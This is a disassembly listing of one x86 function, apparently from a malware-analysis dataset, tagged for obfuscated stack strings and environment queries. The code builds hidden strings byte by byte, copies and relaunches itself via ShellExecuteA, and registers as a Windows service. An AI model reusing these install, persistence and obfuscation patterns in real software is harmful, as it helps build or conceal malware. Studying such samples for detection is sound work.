Function at 0x407310
Capabilities:
Contain obfuscated stackstrings
Query environment variable

Disassembly:
sub esp, 0x754
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
push edi
push ebx
call esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push ebx
call esi
call dword [sym.imp.USER32.dll_GetInputState]
push ebx
call esi
push ebx
push ebx
lea eax, [esp + 0x40]
push ebx
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push ebx
call esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x361]
mov byte [esp + 0x360], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
call esi
push 0x354
push 0x40b228
call fcn.00406e50
push 0x19a
push 0x40b088
call fcn.00406e50
add esp, 0x10
push ebx
call esi
push 1
call fcn.00406a70
add esp, 4
test eax, eax
je 0x4073c2
push ebx
call esi
cmp dword [0x40b56c], ebx
je 0x407784
call fcn.00405c40
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x754
ret 0x10
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x159]
mov byte [esp + 0x158], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
call esi
lea ecx, [esp + 0x158]
push 0x104
push ecx
push 0x40b40c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push ebx
call esi
mov ecx, dword [0x40bbc8]
lea edx, [esp + 0x158]
push edx
push 0x40b40c
call fcn.00404ba0
push ebx
call esi
mov ecx, dword [0x40bbc8]
push 0x40b40c
call fcn.00404b20
cmp byte [eax + 0x40b40b], 0x5c
jne 0x407444
mov ecx, dword [0x40bbc8]
push 0x40b40c
call fcn.00404b20
mov byte [eax + 0x40b40b], bl
push ebx
call esi
push ebx
mov byte [esp + 0x34], 0x25
mov byte [esp + 0x35], 0x73
mov byte [esp + 0x36], 0x5c
mov byte [esp + 0x37], 0x25
mov byte [esp + 0x38], 0x73
mov byte [esp + 0x39], bl
call esi
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push 0x40b470
lea eax, [esp + 0x34]
push 0x40b40c
push eax
push 0x40bbcc
call edi
mov ecx, dword [0x40bbc8]
add esp, 0x10
push 0x40b0f0
push 0x40bd28
call fcn.00404ba0
push ebx
call esi
cmp dword [0x40b578], ebx
je 0x4074ab
call fcn.00407160
push ebx
call esi
cmp byte [0x40b570], bl
je 0x4076c3
push ebx
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x25d]
mov byte [esp + 0x25c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
call esi
lea ecx, [esp + 0x25c]
push 0x104
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
call esi
mov ecx, dword [0x40bbc8]
lea edx, [esp + 0x25c]
push 0x40bbcc
push edx
call fcn.00404c30
test eax, eax
jne 0x407594
push ebx
mov word [0x40bd04], 3
call esi
cmp byte [0x40b570], 2
jne 0x407581
push ebx
call esi
call fcn.004077a0
test eax, eax
je 0x407581
push ebx
mov dword [esp + 0x14], 0x40b228
mov dword [esp + 0x18], 0x406f50
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov word [0x40bd04], 1
call esi
push 0x1f4
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
lea eax, [esp + 0x10]
push eax
call edi
push 0x3e8
call esi
lea ecx, [esp + 0x10]
push ecx
call edi
mov word [0x40bd04], 2
call fcn.00406f10
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x754
ret 0x10
push ebp
push ebx
mov dword [esp + 0x14], ebx
xor ebp, ebp
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x59]
mov byte [esp + 0x58], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
mov byte [esp + 0x30], 0x25
mov byte [esp + 0x31], 0x73
mov byte [esp + 0x32], 0x5c
mov byte [esp + 0x33], 0x25
mov byte [esp + 0x34], 0x73
mov byte [esp + 0x35], bl
stosb byte es:[edi], al
call esi
push 0x40b470
lea edx, [esp + 0x30]
push 0x40b40c
lea eax, [esp + 0x60]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x40b4a2
push 0x40b228
call fcn.00403830
push 0x40b228
call fcn.00406820
push 0x40b30c
push 0x40b28c
lea ecx, [esp + 0x7c]
push 0x40b228
push ecx
call fcn.00407920
add esp, 0x2c
push ebx
call esi
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
call esi
push 0x40b470
call fcn.00407f80
add esp, 4
test eax, eax
jne 0x407686
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0xbb8
mov dword [esp + 0x10], eax
jb 0x40762a
push 5
push ebx
lea edx, [esp + 0x60]
push ebx
lea eax, [esp + 0x30]
push edx
push eax
push ebx
mov dword [esp + 0x28], ebx
mov byte [esp + 0x3c], 0x6f
mov byte [esp + 0x3d], 0x70
mov byte [esp + 0x3e], 0x65
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], bl
call edi
push ebx
call esi
inc ebp
cmp ebp, 3
jae 0x4076b4
jmp 0x40762a
push ebx
call esi
cmp byte [0x40b570], 1
jne 0x4076a4
lea ecx, [esp + 0x58]
push ecx
push 0x40b228
call fcn.00405990
add esp, 8
push ebx
call esi
cmp dword [0x40b56c], ebx
je 0x4076b4
call fcn.00405c40
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x754
ret 0x10
lea edx, [esp + 0xc]
push 0x40b228
push edx
push 0x40b228
mov byte [esp + 0x18], 0x25
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], bl
call edi
add esp, 0xc
push ebx
call esi
lea eax, [esp + 0x360]
push 0x400
lea ecx, [esp + 0x14]
push eax
push ecx
push 0x40b228
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x24], 0x65
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x47
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x75
mov byte [esp + 0x2b], 0x70
mov byte [esp + 0x2c], bl
call fcn.00405330
add esp, 0x10
lea edx, [esp + 0x360]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x407778
push ebx
call esi
push 0x40b4a2
push 0x40b228
call fcn.00403830
push 0x40b228
call fcn.00406820
add esp, 0xc
mov word [0x40bd04], bx
call fcn.00406ae0
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x754
ret 0x10